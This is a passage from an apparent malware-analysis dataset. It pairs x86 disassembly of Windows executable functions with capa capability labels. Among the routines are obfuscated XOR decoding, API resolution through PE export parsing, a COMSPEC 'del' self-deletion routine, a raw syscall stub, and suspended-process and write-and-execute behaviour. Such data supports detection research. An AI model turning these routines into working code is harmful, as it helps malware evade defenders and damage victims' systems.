joyce8/EMBER2024-capa huggingface dataset:
Function at 0x441e70
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov edx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov ebx, dword [esp + 0x2c]
mov ecx, ebx
add ecx, ebp
adc edx, 0
xor eax, eax
mov esi, 0xfffffffe
cmp esi, ecx
mov ecx, 0
sbb ecx, edx
mov esi, dword [esp + 0x28]
jb 0x441ee2
mov ecx, ebx
shr ecx, 2
mov edx, ebp
mov edi, esi
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add esi, edx
add edx, ebp
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov ebp, edx
mov edi, esi
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
test bl, 1
je 0x44203e
and ebx, 2
movzx ecx, byte [edx + ebx]
mov byte [esi + ebx], cl
jmp 0x44203e
mov dword [esp], 0x74757677
mov eax, 0xec
nop
nop
movzx edx, byte [esp + eax - 0xec]
mov ecx, eax
and ecx, edx
add ecx, ecx
add edx, eax
add edx, 0xf1fa4200
mov edi, ecx
xor edi, edx
not ecx
and ecx, edx
add ecx, ecx
sub ecx, edi
add cl, 0x64
mov byte [esp + eax - 0xec], cl
inc eax
cmp eax, 0xf0
jne 0x441ef0
mov eax, dword [esp]
mov ecx, dword [0x44f534]
test ecx, ecx
je 0x441f7a
xor edx, edx
mov edi, dword [0x44f538]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0x7789b0cb
je 0x441f50
inc edx
cmp ecx, edx
jne 0x441f40
jmp 0x441f7a
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je 0x441f7a
lea eax, [esp + 8]
push 2
push 0
push 0
push eax
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0xffffffffffffffff
push 7
push dword [0x44f53c]
push ecx
call fcn.00440f10
add esp, 0x28
test eax, eax
mov edi, dword [esp + 0x24]
js 0x44203e
push 0x1e03da9a
push dword [0x457548]
call fcn.00443350
add esp, 8
push 0
push 0
push ebx
push esi
push edi
push ebp
push dword [esp + 0x20]
call eax
mov ecx, dword [esp + 8]
mov dword [esp + 4], 0x74757677
mov edx, 0xec
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx - 0xe8]
mov ebx, edx
and ebx, esi
add ebx, ebx
add esi, edx
add esi, 0xf1fa4200
mov edi, ebx
xor edi, esi
not ebx
and ebx, esi
add ebx, ebx
sub ebx, edi
add bl, 0x64
mov byte [esp + edx - 0xe8], bl
inc edx
cmp edx, 0xf0
jne 0x441fc0
mov edx, dword [0x44f534]
test edx, edx
je 0x44203e
mov esi, dword [esp + 4]
xor edi, edi
mov ebx, dword [0x44f538]
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x7e776f1
je 0x442020
inc edi
cmp edx, edi
jne 0x442010
jmp 0x44203e
mov edx, dword [ebx + edi*8 + 4]
cmp edx, esi
je 0x44203e
push ecx
push 1
push dword [0x44f53c]
push edx
mov esi, eax
call fcn.00440f10
mov eax, esi
add esp, 0x10
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x442dc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
mov dword [esp + 8], 0x514e4f7c
mov word [esp + 0xc], 0
mov eax, 0xe366058d
mov edx, 0x1c99fa72
movzx ecx, byte [esp + eax + 0x1c99fa7b]
mov esi, eax
xor esi, ecx
or esi, edx
mov edi, esi
not edi
mov ebx, edi
and ebx, 0x9d
and esi, 2
imul esi, ebx
mov ebx, edi
and ebx, 2
or edi, 2
imul edi, ebx
sub ecx, esi
sub ecx, edi
add ecx, eax
mov esi, ecx
and esi, 0x3c
mov edi, ecx
and edi, 2
mov ebx, edi
xor ebx, 2
imul ebx, esi
or esi, 2
imul esi, edi
xor ecx, 0x3e
add ecx, ebx
add ecx, esi
inc cl
mov byte [esp + eax + 0x1c99fa7b], cl
inc eax
dec edx
cmp eax, 0xe3660593
jne 0x442de0
mov eax, dword [esp + 8]
mov eax, dword fs:[eax]
xor ecx, ecx
cmp dword [esp + 0x2c], 0
sete cl
jmp dword [ecx*4 + 0x44dfa4]

Function at 0x443270
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
push eax
mov ecx, dword [esp + 0x14]
mov dword [esp], 0xd7d6c9f8
xor eax, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx]
mov edi, eax
and edi, 4
mov ebx, edx
xor ebx, 0xb399fb4e
add ebx, edi
xor ebx, esi
mov esi, ebx
and esi, 0x79
xor ebx, 0x79
lea ebx, [ebx + esi*2]
inc bl
mov byte [esp + edx], bl
inc edx
add eax, 2
cmp edx, 4
jne case.default.0x4432cb
mov eax, dword [esp]
mov eax, dword fs:[eax]
xor edx, edx
test ecx, ecx
sete dl
jmp dword [edx*4 + 0x44e084]
mov edx, dword [eax + 0xc]
add edx, 0xc
xor eax, eax
mov esi, dword [0x44e0a8]
mov edi, dword [edx]
xor ebx, ebx
cmp edi, edx
setne bl
jmp dword [ebx*4 + 0x44e08c]
xor ebx, ebx
cmp dword [edi + 0x18], ecx
sete bl
jmp dword [ebx*4 + 0x44e094]
mov ebx, 1
jmp 0x443320
jmp esi
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x3c]
add esp, 4
pop esi
pop edi
pop ebx
ret

Function at 0x443350
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
mov esi, dword [esp + 0x2c]
movzx eax, word [esi]
mov dword [esp], 0xc3c27b0d
mov byte [esp + 4], 0
mov ecx, 0xd83a7fd0
nop
movzx edx, byte [esp + ecx + 0x27c58030]
lea ebx, [ecx + 0x4f8b0060]
and ebx, edx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x70
mov byte [esp + ecx + 0x27c58030], dl
inc ecx
cmp ecx, 0xd83a7fd5
jne 0x443370
xor ecx, ecx
cmp dword [esp], eax
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x44e0c4]
Function at 0x443540
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov eax, dword [esp + 0x24]
mov ecx, 2
mov edx, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec ecx
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x443560
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 8], 0x720e0cf9
mov word [esp + 0xc], 0
mov byte [esp + 0xe], 0
mov eax, 0x6ee18bbd
mov edx, 0x911e7442
movzx edi, byte [esp + eax - 0x6ee18bb5]
mov ebp, eax
and ebp, edi
add ebp, ebp
sub ebp, edi
add ebp, edx
and ebp, eax
mov esi, ebp
and esi, 2
mov ebx, ebp
or ebx, 0xfffffffd
inc ebx
mov ecx, ebp
and ecx, 0x6ee18bfd
imul ecx, ebx
or ebp, 2
imul ebp, esi
add ecx, edi
sub ecx, ebp
add ecx, eax
mov edi, ecx
and edi, 0x4c
mov esi, ecx
and esi, 2
mov ebx, esi
xor ebx, 2
imul ebx, edi
or edi, 2
imul edi, esi
xor ecx, 0x4e
add ecx, ebx
add ecx, edi
inc cl
mov byte [esp + eax - 0x6ee18bb5], cl
inc eax
dec edx
cmp eax, 0x6ee18bc4
jne 0x443590
mov edx, dword [esp]
test edx, edx
je 0x443622
mov ebp, dword [esp + 8]
mov esi, ebp
not esi
test dl, 1
mov ecx, dword [esp + 0x28]
jne 0x44362b
mov ebx, esi
mov edi, dword [esp + 0x24]
mov esi, dword [esp + 4]
test esi, esi
jne 0x44365d
jmp 0x4436b7
mov eax, dword [esp + 0x28]
jmp 0x4436b7
mov edi, dword [esp + 0x24]
movsx eax, byte [edi]
xor eax, ecx
mov edx, eax
mov ebx, esi
and edx, esi
mov ecx, eax
not ecx
and ecx, ebp
imul ecx, edx
mov edx, eax
and edx, ebp
or eax, ebp
imul eax, edx
mov esi, dword [esp + 4]
mov edx, esi
neg edx
inc edi
add eax, ecx
mov ecx, eax
test esi, esi
je 0x4436b7
xor esi, esi
mov eax, ecx
mov dword [esp], edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movsx ecx, byte [edi + esi]
xor ecx, eax
mov eax, ecx
and eax, ebx
mov edx, ecx
not edx
and edx, ebp
imul edx, eax
mov eax, ecx
and eax, ebp
or ecx, ebp
imul ecx, eax
add ecx, edx
movsx eax, byte [edi + esi + 1]
xor eax, ecx
mov ecx, eax
and ecx, ebx
mov edx, eax
not edx
and edx, ebp
imul edx, ecx
mov ecx, eax
and ecx, ebp
or eax, ebp
imul eax, ecx
add eax, edx
mov edx, dword [esp]
add esi, 2
cmp edx, esi
jne 0x443670
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x443c60
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov edi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x3c]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x443c80
mov esi, eax
sar esi, 1
cmp esi, 0xfffffffb
jge 0x443c9b
mov eax, 0xffffffff
jmp 0x443c9e
add eax, 0xa
push eax
call fcn.0040ce10
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
lea ecx, [esi + 4]
mov word [eax + 8], 0
mov edx, eax
add edx, 8
movzx ebp, word [ebx]
test bp, bp
je 0x443ce1
add ebx, 2
nop
nop
nop
mov word [edx], bp
add edx, 2
movzx ebp, word [ebx]
add ebx, 2
test bp, bp
jne 0x443cd0
mov word [edx], 0
mov edx, ecx
and edx, 0xfffd
and esi, 2
mov ebx, esi
xor ebx, 2
imul ebx, edx
or ecx, 2
imul ecx, esi
lea edx, [ecx + ebx]
mov word [esp + 8], dx
add ecx, ebx
add ecx, 2
mov word [esp + 0xa], cx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], 0x40
lea ecx, [esp + 8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp], 0x74757677
xor ecx, ecx
nop
nop
mov edx, ecx
add dl, 0xec
xor dl, byte [esp + ecx]
add dl, 0x64
mov byte [esp + ecx], dl
inc ecx
cmp ecx, 4
jne 0x443d50
mov esi, dword [esp]
mov ecx, dword [0x44f534]
test ecx, ecx
je 0x443dc4
xor edx, edx
mov ebx, dword [0x44f538]
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0x266686e9
je 0x443d90
inc edx
cmp ecx, edx
jne 0x443d80
jmp 0x443dc4
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, esi
je 0x443dc4
mov edx, esp
lea esi, [esp + 0x10]
push edi
push dword [esp + 0x4c]
push edx
push esi
push dword [esp + 0x54]
push dword [esp + 0x54]
push 6
push dword [0x44f53c]
push ecx
mov edi, eax
call fcn.00440f10
add esp, 0x24
mov esi, eax
mov eax, edi
push eax
call fcn.0040ce20
add esp, 4
mov eax, esi
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x443de0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x443e00
mov esi, eax
sar esi, 1
cmp esi, 0xfffffffb
jge 0x443e1b
mov eax, 0xffffffff
jmp 0x443e1e
add eax, 0xa
push eax
call fcn.0040ce10
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
mov ecx, eax
add ecx, 8
movzx edx, word [ebx]
test dx, dx
je 0x443e61
add ebx, 2
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [ebx]
add ebx, 2
test dx, dx
jne 0x443e50
mov word [ecx], 0
lea ecx, [esi + 4]
mov edx, ecx
or edx, 2
and esi, 2
imul edx, esi
xor esi, 2
and ecx, 0xfffd
imul ecx, esi
lea esi, [edx + ecx]
mov word [esp], si
add ecx, edx
add ecx, 2
mov word [esp + 2], cx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0x40
mov ecx, esp
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0x74757677
xor ecx, ecx
nop
nop
nop
mov edx, ecx
add dl, 0xec
xor dl, byte [esp + ecx + 0x20]
add dl, 0x64
mov byte [esp + ecx + 0x20], dl
inc ecx
cmp ecx, 4
jne 0x443ed0
mov esi, dword [esp + 0x20]
mov ecx, dword [0x44f534]
test ecx, ecx
je 0x443f39
xor edx, edx
mov ebx, dword [0x44f538]
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0x87573896
je 0x443f10
inc edx
cmp ecx, edx
jne 0x443f00
jmp 0x443f39
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, esi
je 0x443f39
lea edx, [esp + 0x20]
lea esi, [esp + 8]
push edx
push esi
push 2
push dword [0x44f53c]
push ecx
mov ebx, eax
call fcn.00440f10
add esp, 0x14
mov esi, eax
mov eax, ebx
push eax
call fcn.0040ce20
add esp, 4
test edi, edi
je 0x443f4c
mov eax, dword [esp + 0x40]
mov dword [edi], eax
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x443f60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x28
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov dword [esp], 0x74757677
xor eax, eax
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xec
xor cl, byte [esp + eax]
add cl, 0x64
mov byte [esp + eax], cl
inc eax
cmp eax, 4
jne 0x443f80
mov eax, dword [esp]
mov edx, dword [0x44f534]
test edx, edx
je 0x443fe8
xor ebx, ebx
mov ecx, dword [0x44f538]
nop
nop
nop
nop
nop
nop
nop
cmp dword [ecx + ebx*8], 0xa70a987f
je 0x443fc0
inc ebx
cmp edx, ebx
jne 0x443fb0
jmp 0x443fe8
mov edx, dword [ecx + ebx*8 + 4]
cmp edx, eax
je 0x443fe8
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0x18
push eax
push ecx
push dword [ebp + 8]
push 5
push dword [0x44f53c]
push edx
call fcn.00440f10
add esp, 0x20
test edi, edi
je 0x443ff2
mov ecx, dword [esp + 8]
mov dword [edi], ecx
test esi, esi
je 0x443ffe
cmp byte [esp + 0x15], 0
setne byte [esi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x444010
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov esi, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov dword [esp + 4], 0x74757677
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ebx, eax
add bl, 0xec
xor bl, byte [esp + eax + 4]
add bl, 0x64
mov byte [esp + eax + 4], bl
inc eax
cmp eax, 4
jne 0x444030
mov eax, dword [esp + 4]
mov ebx, dword [0x44f534]
test ebx, ebx
je 0x4440b0
mov ecx, esi
xor ebp, ebp
mov edi, dword [0x44f538]
nop
nop
cmp dword [edi + ebp*8], 0xd41f89d1
je 0x44407d
mov esi, ebp
and esi, 1
xor ebp, 1
lea ebp, [ebp + esi*2]
cmp ebp, ebx
jb 0x444060
mov esi, ecx
jmp 0x4440b0
mov ebx, dword [edi + ebp*8 + 4]
cmp ebx, eax
mov esi, ecx
je 0x4440b0
lea eax, [esp + 4]
push 0
push 0
push edx
push dword [esp + 0x30]
push eax
push 0
push 0
push 0
push dword [esp + 0x40]
push 9
push dword [0x44f53c]
push ebx
call fcn.00440f10
add esp, 0x30
cmp eax, 0x103
jne 0x444129
mov dword [esp], 0x74757677
xor eax, eax
mov ecx, eax
add cl, 0xec
xor cl, byte [esp + eax]
add cl, 0x64
mov byte [esp + eax], cl
inc eax
cmp eax, 4
jne 0x4440c0
mov eax, dword [esp]
mov ecx, dword [0x44f534]
test ecx, ecx
je 0x444121
xor edx, edx
mov edi, dword [0x44f538]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0x53f09cfa
je 0x444100
inc edx
cmp ecx, edx
jne 0x4440f0
jmp 0x444121
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je 0x444121
push 0
push 0
push dword [esp + 0x28]
push 3
push dword [0x44f53c]
push ecx
call fcn.00440f10
add esp, 0x18
test eax, eax
js 0x444129
mov eax, dword [esp + 4]
test esi, esi
je 0x44413c
xor ecx, ecx
cmp eax, 0xc0000011
je 0x44413a
mov ecx, dword [esp + 8]
mov dword [esi], ecx
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x444270
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [esp + 0x48]
mov esi, dword [esp + 0x44]
mov edx, dword [esp + 0x40]
mov edi, dword [esp + 0x38]
mov ebx, 0xfffffffe
nop
nop
nop
nop
cmp word [edi + ebx + 2], 0
lea ebx, [ebx + 2]
jne 0x444290
sar ebx, 1
mov ecx, ebx
and ecx, 2
mov ebp, ebx
or ebx, 2
imul ebx, ecx
xor ecx, 2
and ebp, 0xfffd
imul ebp, ecx
lea ecx, [ebx + ebp]
mov word [esp + 4], cx
lea ecx, [ebx + ebp]
add ecx, 2
mov word [esp + 6], cx
mov dword [esp + 8], edi
mov dword [esp + 0xc], 0x18
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], 0x40
lea eax, [esp + 4]
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp], 0x74757677
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xec
xor cl, byte [esp + eax]
add cl, 0x64
mov byte [esp + eax], cl
inc eax
cmp eax, 4
jne 0x444310
mov eax, dword [esp]
mov edi, dword [0x44f534]
test edi, edi
je 0x444375
xor ebx, ebx
mov ebp, dword [0x44f538]
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebp + ebx*8], 0x9ecf05eb
je 0x444351
inc ebx
cmp edi, ebx
jne 0x444340
jmp 0x444375
mov edi, dword [ebp + ebx*8 + 4]
cmp edi, eax
je 0x444375
lea eax, [esp + 0xc]
push esi
push eax
push edx
push dword [esp + 0x48]
push 4
push dword [0x44f53c]
push edi
call fcn.00440f10
add esp, 0x1c
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401390
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4014fd
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4014fd
lea eax, [esp + 0x26c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x4014fd
lea ecx, [esp + 0x168]
push str.__c__del
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call esi
lea ecx, [esp + 0x168]
push str.___nul
push ecx
call esi
lea edx, [esp + 0x168]
lea eax, [esp + 0x26c]
push edx
push eax
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x50], bx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xf
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [esp + 0x288]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4014ef
mov edx, dword [esp + 0x10]
push 0x40
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x360
ret

Function at 0x401900
Capabilities:
Create process on windows
Create process suspended
Read file on windows
Set registry value
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x368
push ebx
push ebp
push esi
push edi
jmp loc.0040f662
Function at 0xa11370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xa1138e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xa3a074
push ecx
mov edi, eax
call fcn.00a25198
mov esi, eax
add esp, 8
test esi, esi
jne 0xa113cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00a2502e
push esi
call fcn.00a24fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xa14850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xa148ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xa3f720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xa148ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00a251e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xa148ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xa3f720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xa1492a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00a26082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xa14957
mov word [eax], si
add eax, 2
push eax
call fcn.00a26030
add esp, 4
jmp 0xa14959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xa148ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xa148b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xa14ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xa15080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xa150c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xa3a458
push ecx
call fcn.00a251e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00a251e1
add esp, 0x10
jmp 0xa150d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00a2520b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00a24dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00a15050
mov eax, dword [0xa3f728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xa1513b
push esi
call fcn.00a14fb0
add esp, 4
mov dword [0xa3f728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xa1514c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00a14ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xa18440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xa184b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xa1848e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xa18471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xa1847e
add edx, ecx
cmp ebx, edx
jb 0xa1848a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xa18467
xor ecx, ecx
jmp 0xa184a2
test eax, eax
jne 0xa18492
xor ecx, ecx
jmp 0xa184a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00a183c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0xa188f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xa18921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0xa18946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0xa1896e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0xa18993
push ecx
push esi
